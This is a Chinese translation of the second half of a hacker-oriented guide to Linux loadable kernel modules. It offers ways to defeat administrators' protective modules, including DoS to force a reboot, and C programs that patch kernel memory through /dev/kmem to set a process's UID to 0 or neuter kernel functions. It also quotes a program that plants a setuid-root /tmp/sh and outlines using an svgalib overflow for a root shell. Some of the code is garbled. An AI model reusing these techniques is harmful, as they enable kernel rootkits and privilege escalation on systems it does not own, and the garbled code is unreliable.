UML软件工程组织

 

 

Linux系统可卸载内核模块完全指南(下)
 
作者:artiomgy 来源:chinaunix
 
  第四部分 一些更好的想法(给hacker的)
  
  4.1 击败系统管理员的LKM的方法
  
  这一部分会给我们对付一些使用LKM保护内核的多疑(好的)的管理员的方法。在解释了所有系统管理员能够使用的方法之后,很难为我们(hackers)找到一个更好的办法。我们需要离开LKM一会儿,来寻找击败这些困难的保护的方法。
  
  假定一个系统可以被管理员安装上一个十分好的大范围的监视的LKM,他可以检查那个系统的每一个细节。他可以做到第二或者第三部分提到的所有事情。
  
  第一种除掉这些LKM的方法可以是重新启动系统。也许管理员并没有在启动文件里面加载这些LKM。因此,试一些DoS攻击或者其他的。如果你还不能除去这个LKM就看看其他的一些重要文件。但是要仔细,一些文件有可能是被保护或者监视的(见附录A,里面有一个类似的LKM)。
  
  假如你真的找不到LKM是在那里加载的等等,不要忘记系统是已经安装了一个后门的。这样你就不可以隐藏文件或者进程了。但是如果一个管理员真正使用了这么一个超级的LKM,忘记这个系统吧。你可能遇到真正的好的对手并且将会有麻烦。对于那些确实想击败这个系统的,读第二小节。
  
  4.2 修补整个内核-或者创建Hacker-OS
  
  [注意:这一节听上去可能有一些离题了。但是在最后我会给出一个很漂亮的想法(Silvio
  Cesare写的程序也可以帮助我们使用我们的LKM。这一节只会给出整个内核问题的一个大概的想法,因为我只需要跟随Sivio Cesare的想法]
  
  OK,LKM是很好的。但是如果系统管理员喜欢在5。1中提到的想法。他做了很多来阻止我们使用我们在第二部分学到的美妙的LKM技术。他甚至修补他自己的内核来使他的系统安全。他使用一个不需要LKM支持的内核。
  
  因此,现在到了我们使用我们最后一招的时候了:运行时内核补丁。最基本的想法来自我发现的一些源程序(比如说Kmemthief),还有Silvio
  Cesare的一个描述如何改变内核符号的论文。在我看来,这种攻击是一种很强大的'内核入侵'。我并不是懂得每一个Un*x,但是这种方法可以在很多系统上使用。这一节描述的是运行时内核补丁。但是为什么不谈谈内核文件补丁呢?每一个系统有一个文件来代表内核,在免费的系统中,像FreeBSD,Linux,。。。。,改变一个内核文件是很容易的。但是在商业系统中呢?我从来没有试过。但是我想这会是很有趣的:想象通过一个内核的补丁作为系统的后门.你只好重新启动系统或者等待一次启动。(每个系统都需要启动)。但是这个教材只会处理运行时的补丁方式。你也许说这个教材叫入侵Linux可卸载内核模块,并且你不想知道如何补丁整个内核。好的,这一节将会教会我们如何'insmod'LKM到一个十分安全的,或者没有LKM支持的系统。因此我们还是学到了一些和LKM有关的东西了。
  
  因此,让我们开始我们最为重要的必须处理的东西,如果我们想学习RKP(Runtime Kernel Patching)的话。这就是/dev/kmem文件。他可以帮助我们看到(并且更改)整个我们的系统的虚拟内存。[注意:这个RKP方法在通常情况下是十分有用的,如果你控制了那个系统以后。只有非常不安全的系统才会让普通用户存取那个文件]。
  
  正如我所说的,/dev/kmem可以使我们有机会看到我们系统中的每一个内存字节(包括swap)。这意味着我们可以存取整个内存,这就允许我们操纵内存中的每一个内核元素。(因为内核只是加载到系统内存的目标代码)。记住/proc/ksyms文件记录了每一个输出的内核符号的地址。因此我们知道如何才能通过更改内存来控制一些内核符号。下面让我们来看看一个很早就知道的很基本的例子。下面的(用户空间)的程序获得了task_structure的地址和某一个PID.在搜索了代表某个PID的任务结构以后,他改变了每个用户的ID域使得UID=0。当然,今天这样的程序是毫无用处的。因为绝大多数的系统不会允许一个普通的用户去读取/dev/kmem。但是这是一个关于RKP的好的介绍。
  
  /*注意:我没有实现错误检查*/
  
  #include
  
  #include
  
  #include
  
  #include
  
  /*我们想要改变的任务结构的最大数目*/
  
  #define NR_TASKS 512
  
  /*我们的任务结构-〉我只使用了我们需要的那部分*/
  
  struct task_struct {
  
  char a[108];       /*我们不需要的*/
  
  int pid;
  
  char b[168];       /*我们不需要的*/
  
  unsigned short uid,euid,suid,fsuid;
  
  unsigned short gid,egid,sgid,fsgid;
  
  char c[700];       /*我们不需要的*/
  
  };
  
  /*下面是原始的任务结构,你可以看看还有其他的什么是你可以改变的
  
  struct task_struct {
  
  volatile long state;
  
  long counter;
  
  long priority;
  
  unsigned long signal;
  
  unsigned long blocked;
  
  unsigned long flags;
  
  int errno;
  
  long debugreg[8];
  
  struct exec_domain *exec_domain;
  
  struct linux_binfmt *binfmt;
  
  struct task_struct *next_task, *prev_task;
  
  struct task_struct *next_run, *prev_run;
  
  unsigned long saved_kernel_stack;
  
  unsigned long kernel_stack_page;
  
  int exit_code, exit_signal;
  
  unsigned long personality;
  
  int dumpable:1;
  
  int did_exec:1;
  
  int pid;
  
  int pgrp;
  
  int tty_old_pgrp;
  
  int session;
  
  int leader;
  
  int groups[NGROUPS];
  
  struct task_struct *p_opptr, *p_pptr, *p_cptr, *p_ysptr, *p_osptr;
  
  struct wait_queue *wait_chldexit;
  
  unsigned short uid,euid,suid,fsuid;
  
  unsigned short gid,egid,sgid,fsgid;
  
  unsigned long timeout, policy, rt_priority;
  
  unsigned long it_real_value, it_prof_value, it_virt_value;
  
  unsigned long it_real_incr, it_prof_incr, it_virt_incr;
  
  struct timer_list real_timer;
  
  long utime, stime, cutime, cstime, start_time;
  
  unsigned long min_flt, maj_flt, nswap, cmin_flt, cmaj_flt, cnswap;
  
  int swappable:1;
  
  unsigned long swap_address;
  
  unsigned long old_maj_flt;
  
  unsigned long dec_flt;
  
  unsigned long swap_cnt;
  
  struct rlimit rlim[RLIM_NLIMITS];
  
  unsigned short used_math;
  
  char comm[16];
  
  int link_count;
  
  struct tty_struct *tty;
  
  struct sem_undo *semundo;
  
  struct sem_queue *semsleeping;
  
  struct desc_struct *ldt;
  
  struct thread_struct tss;
  
  struct fs_struct *fs;
  
  struct files_struct *files;
  
  struct mm_struct *mm;
  
  struct signal_struct *sig;
  
  #ifdef __SMP__
  
  int processor;
  
  int last_processor;
  
  int lock_depth;
  
  #endif
  
  };
  
  */
  
  int main(int argc, char *argv[])
  
  {
  
  unsigned long task[NR_TASKS];
  
  /*用于特定PID的任务结构*/
  
  struct task_struct current;
  
  int kmemh;
  
  int i;
  
  pid_t pid;
  
  int retval;
  
  pid = atoi(argv[2]);
  
  kmemh = open("/dev/kmem", O_RDWR);
  
  /*找到第一个任务结构的内存地址*/
  
  lseek(kmemh, strtoul(argv[1], NULL, 16), SEEK_SET);
  
  read(kmemh, task, sizeof(task));
  
  
  /*遍历知道我们找到我们的任务结构(由PID确定)*/
  
  for (i = 0; i < NR_TASKS; i++)
  
  {
  
  lseek(kmemh, task, SEEK_SET);
  
  read(kmemh, ¤t, sizeof(current));
  
  /*是我们的进程么*/
  
  if (current.pid == pid)
  
  {
  
  /*是的,因此改变UID域。。。。*/
  
  current.uid = current.euid = 0;
  
  current.gid = current.egid = 0;
  
  /*写回到内存*/
  
  lseek(kmemh, task, SEEK_SET);
  
  write(kmemh, ¤t, sizeof(current));
  
  printf("Process was found and task structure was modified\n");
  
  exit(0);
  
  }
  
  }
  
  }
  
  关于这个小程序没有什么太特殊的地方。他不过是在一个域中找到某些匹配的,然后再改变某些域罢了。除此之外还有很多程序来做类似的工作。你可以看到,上面的这个例子并不能帮助你攻击系统。他只是用于演示的。(但是也许有一些弱智的系统允许用户写/dev/kmem,我不知道)。用同样的方法你也可以改变控制系统内核信息的模块结构。通过对kmem操作,你也可以隐藏一个模块;我在这里就不给出源代码了,因为基本上和上面的那个程序一样(当然,搜索是有点难了)。通过上面的方法我们可以改变一个内核的结构。有一些程序是做这个的。但是,对于函数我们怎么办呢?我们可以在网上搜索,并且会发现并没有太多的程序来完成这个。当然,对一个内核函数进行补丁会更有技巧一些(在后面我们会做一些更有用的事情)。对于sys_call_table结构的最好的入侵方法就是让他指向一个完全我们自己的新的函数。下面的例子仅仅是一个十分简单的程序,他让所有的系统调用什么也不干。我仅仅插入一个RET(0xc3)在每一个我从/proc/ksyms获得的函数地址前面。这样这个函数就会马上返回,什么也不做。
  
  /*同样的,没有错误检查*/
  
  #include
  
  #include
  
  #include
  
  #include
  
  /*不过是我们的返回代码*/
  
  unsigned char asmcode[]={0xc3};
  
  int main(int argc, char *argv[])
  
  {
  
  unsigned long counter;
  
  int kmemh;
  
  /*打开设备*/
  
  kmemh = open("/dev/kmem", O_RDWR);
  
  /*找到内存地址中函数开始的地方*/
  
  lseek(kmemh, strtoul(argv[1], NULL, 16), SEEK_SET);
  
  /*写入我们的补丁字节*/
  
  write(kmemh, &asmcode, 1):
  
  close(kmemh);
  
  }
  
  让我们总结一下我们目前所知道的:我们可以改变任何内核符号;这包括一些像sys_call_table[]这样的东西,还有其他任何的函数或者结构。记住每个内核补丁只有在我们可以存取到/dev/kmem的时候才可以使用。但是我们也知道了如何保护这个文件。可以看3.5.5。
  
  ###adv###  4.2.1 如何在/dev/kmem中找到内核符号表
  
  在上面的一些基本的例子过后,你也许会问如何更改任何一个内核符号以及如何才能找到有趣的东西。在上面的例子中,我们使用/proc/ksyms来找到我们需要改变的符号的地址。但是当我们在一个内核里面没有LKM支持的系统时该怎么办呢?这将不会有/proc/ksyms这个文件了,因为这个文件只用于管理模块。(公共的,或者存在的符号)。那么对于那些没有输出的内核符号我们该怎么办呢?我们怎样才能更改他们?
  
  呵呵,有很多问题。现在让我们来找一些解决的方案。Silvio Cesare讨论过一些发现不同的内核符号的方法(公共的或者不公开的)。他指出当编译Linux内核的时候,一个名字叫System。map的文件被创建,他映射每一个内核的符号到一个固定的地址。这个文件只是在编译的时候解析这些内核的符号的时候才需要。运行着的系统没有必要使用这个文件。这些编译时候使用的地址和/dev/kmem里面使用的使一样的。因此,通常的步骤是:
  
  查找system。map来获得需要的内核符号
  
  找到我们的地址
  
  改变内核符号(结构,函数,或者其他的)
  
  听上去相当的容易。但是这里会有一个大问题。每一个系统并不使用和我们一样的内核,因此他们的内核符号的地址也不会和我们的一样。而且在大多数系统中你并不会找到一个有用的system。map文件来告诉你每一个地址。那我们应该怎么办呢?Silvio Cesare建议我们使用一种关键码搜寻的方法。只要使用你的内核,读一个符号的开始的十个字节的(是随机的)值,并且把这十个值作为关键码来在另一个内核中搜寻地址。如果你不能为某个符号找到一个一般的关键码,你可以尝试找到这个符号和系统其他你可以找到关键码的符号的关系。要找到这种关系你可以看内核的源代码。通过这种方法,你可以找到一些你可以改变的有趣的内核符号。(补丁)。
  
  4.2.2 新的不需要内核支持的'insmod'
  
  现在到了我们回到我们的LKM入侵上的时候了。这一节将会向你介绍Silvio Cesare的kinsmod程序。我只会列出大体上的工作方法。这个程序的最为复杂的部分在于处理(elf文件)的目标代码和内核空间的映射。但是这只是一个处理elf头的问题,不是内核问题。Silvio Cesare使用elf文件是因为通过这种方法你可以安装[正常]的LKMs。当然也可以写一个文件(仅仅是操作码-〉看我的RET例子)并且插入这个文件,这会有点难,但是映射会很容易。对于那些想真正理解elf文件处理的,我把Silvio Cesare的教材加进来了。(我已经做了,因为Silvio Cesare希望他的源代码或者想法只能在那份教材里面作为一个整体传播)。
  
  现在让我们来看看在一个没有LKM支持的系统中插入LKM的方法。
  
  如果我们想插入代码(一个LKM或者其他的任何东西),我们将要面对的第一个问题是如何获得内存。我们不能取一个随机的地址然后就往/dev/kmem里面写我们的目标代码。因此我们必须找到一个放我们的代码的地方,他不能伤害到我们的系统,而且不能因为一些内核操作就被内核释放。有一个地方我们可以插入一些代码,看一眼下面的显示所有内核内存的图表:
  
  kernel data
  
  ...
  
  kmalloc pool
  
  Kmalloc
  
  pool是用来给内核空间的内存分配用的(kmalloc(...))。我们不能把我们的代码放在这里,因为我们不能确定我们所写的这个地址空间是没有用的。现在看看Silvio Cesare的想法:kmalloc pool在内存中的边界是存在内核输出的memory_start和memory_end里面的。(见/proc/ksyms)。有意思的一点在于开始的地(memory_start)并不是确切的kmalloc pool的开始地址。因为这个地址要和下一页的memory_start对齐。因此,会有一些内存是永远都不会被用到的。(在memory_start和真正的kmalloc pool的开始处)。这是我们插入我们的代码的最好的地方。OK,这并不是所有的一切。你也许会意识到在这个小小的内存空间里面放不下任何有用的LKM。Silvio Cesare把一些启动代码放在这里。这些代码加载实际的LKM。通过这个方法,我们可以在缺乏LKM支持的系统上加载LKM。请阅读Silvio Cesare的论文来获得进一步的讨论以及如何实际上将一个LKM文件(elf 格式的)映射到内核。这会有一点难度。
  
  4.3 最后的话
  
  第二节的主意很好。但是对于那些不允许存取kmem的系统呢?最后的一个方法就是利用一些内核系统漏洞来插入/改变内核空间。在内核空间总是要有一些缓冲区溢出或者其他的毛病。还要考虑到一些模块的漏洞。只要看一眼内核的许多源文件。甚至用户空间的程序也可以帮助我们改变内核。
  
  我还记得,在几个星期以前,一个和svgalib有关的漏洞被发现。每一个程序通过使用svgalib来获得一个向/dev/mem的写权限。/dev/mem也可以被RKP用来获得和/dev/kmeme一样的地址。因此看一看下面的列表,来获得一些如何在一个非常安全的系统中做RKP的方法:
  
  找到一个使用svgalib的程序。
  
  检查那个程序,获得一个一般的缓冲区溢出(这应该并不会太难)
  
  写一个简单的程序来启动一个程序,打开/dev/mem,获得写句柄,并且可以操纵任务结构使得你的进程的UID=0
  
  ###adv###  创建一个root的shell
  
  这个机制通常运行的很好(zgv,gnuplot或者其他的一些著名的例子)。为了获得这个任务结构一些人使用下面的Nergal的程序(这是使用了打开写句柄的)
  
  /*Nergal的作品*/
  
  #define SEEK_SET 0
  
  #define __KERNEL__
  
  #include
  
  #undef __KERNEL__
  
  #define SIZEOF sizeof(struct task_struct)
  
  int mem_fd;
  
  int mypid;
  
  void
  
  testtask (unsigned int mem_offset)
  
  {
  
  struct task_struct some_task;
  
  int uid, pid;
  
  lseek (mem_fd, mem_offset, SEEK_SET);
  
  read (mem_fd, &some_task, SIZEOF);
  
  if (some_task.pid == mypid)
  
  /*是我们的任务结构么?*/
  
  {
  
  some_task.euid = 0;
  
  some_task.fsuid = 0;
  
  /*chown需要这个*/
  
  lseek (mem_fd, mem_offset, SEEK_SET);
  
  write (mem_fd, &some_task, SIZEOF);
  
  /*从现在起,对于我们来说没有法律。。。*/
  
  chown ("/tmp/sh", 0, 0);
  
  chmod ("/tmp/sh", 04755);
  
  exit (0);
  
  }
  
  }
  
  #define KSTAT 0x001a8fb8
  
  /*《-改变这个地址为你的kstat*/
  
  main ()
  
  /*通过执行/proc/ksyms|grep kstat*/
  
  {
  
  unsigned int i;
  
  struct task_struct *task[NR_TASKS];
  
  unsigned int task_addr = KSTAT - NR_TASKS * 4;
  
  mem_fd = 3;
  
  
  /*假定要打开的是/dev/mem*/
  
  mypid = getpid ();
  
  lseek (mem_fd, task_addr, SEEK_SET);
  
  read (mem_fd, task, NR_TASKS * 4);
  
  for (i = 0; i < NR_TASKS; i++)
  
  if (task)
  
  testtask ((unsigned int)(task));
  
  
  }
  
  这只不过是一个例子,是为了告诉你不管怎么样,你总是能够找到一些方法的。对于有堆栈执行权限的系统,你可以找堆栈溢出,或者跳到某些库函数(system(...)).会有很多方法……
  
  我希望这最后的一节可以给你一些如何继续的提示。
  
  第五部分 最近的一些东西:2.2.x版本的内核
  
  5.1 对于LKM作者来说,一些主要的不同点
  
  Linux有了一个新的主版本:2.2在LKM编程上,他带给我们一些小的改变。这一部分将会帮助你适应这些变化,并且列出了大的一些变化。[注意:关于新的版本的内核,会有另一个发布版本]
  
  我会向你介绍一些新的宏和函数来帮助你开发2.2版本的内核的LKM。要获得每一个确切的变化可以看新的头文件linux/module.h。这个文件在2.1.18版本的内核中被完全的重写了。首先让我们来看看一些可以帮助我们更方便的处理系统调用表的宏:
  
  宏描述
  
  EXPORT_NO_SYMBOLS:这一个相当于旧版本内核的register_symtab(NULL)
  
  EXPORT_SYMTAB:如果你想输出一些符号的话,必须在linux/module.h前面定义这个宏
  
  EXPORT_SYMBOL(name):输出名字叫'name'的宏
  
  EXPORT_SYMBOL_NOVERS(name):没有版本信息的输出符号
  
  用户空间的存取函数也有很大的变化。因此我会在这里列出来(只要包含asm/uaccess.h来使用他们):
  
  函数描述
  
  int access_ok (int type, unsigned long addr, unsigned long size);
  
  这个函数检查是否当前进程允许存取某个地址
  
  unsigned long copy_from_user (unsigned long to, unsigned long from,
  unsigned long len);
  
  这个是新的memcpy_tofs函数
  
  unsigned long copy_to_user (unsigned long to, unsigned long from, unsigned
  long len);
  
  这是相对应的copy_from_user(...)
  
  你没有必要使用access_ok(...),因为上面列出的函数都自己检查这个。还有许多不一样的地方,但是你可以看看linux/module.h来获得一个详细的列表。
  
  我最后想提一件事情。我写了很多关于内核守护进程(kerneld)的东西。2.2版的内核不会再使用kerneld了。他使用另外一种方法来实现内核空间的request_module(...)函数-叫做kmod。kmod完全是运行在内核空间的(不再IPC到用户空间了)。对于LKM程序员来说,没有什么大的变化。你还是可以使用request_module(...)来加载模块。因此LKM传染者还是可以在2.2的内核中使用。
  
  我很抱歉关于2.2内核只有这么少的东西。但是目前我正在写一个关于2.2内核安全的论文(特别是LKM的)。因此请注意新的THC发布的论文。我甚至计划工作在一些BSD系统上(FreeBSD,OpenBSD,例如)但是这会发几个月的时间。
  
  第六部分 最后的话
  
  6.1 LKM传奇以及如何使得一个系统即好用又安全
  
  你大概会感到奇怪,既然LKM这么的不安全,那么为什么要使用他们呢。最初LKM是被设计使得用户更为方便的。Linux和Microsoft相对立,因此开发者们需要一个使得老的Unxi系统更为吸引人和容易的方法。他们实现了KDE和其他很好的东西。比如说,kerneld就是被用来使得模块处理更为容易的。但是要记住,越为简单和自动化的系统就会有越多的安全问题。不可能同时使得一个系统既让用户感到很方便又有足够的安全性。模块就是一个很好的这样的例子。
  
  Microsoft给了我们另外一个例子:考虑ActiveX,他(大概)是个好主意,用一个安全的设计来保证一切都是简单的。
  
  因此,亲爱的Linux开发者们;请谨慎了,不要犯Microsoft的错误。不要创建一个好用,但是不安全的OS。把安全时刻记在心中!!!
  
  这篇文章也很清楚的说明了任何系统的内核必须用最好的方法进行保护。不能让一个入侵者更改你系统中最为重要的部分。我把这个任务留给所有系统的设计者。:)

 

组织简介 | 联系我们 |   Copyright 2002 ®  UML软件工程组织 京ICP备10020922号

京公海网安备110108001071号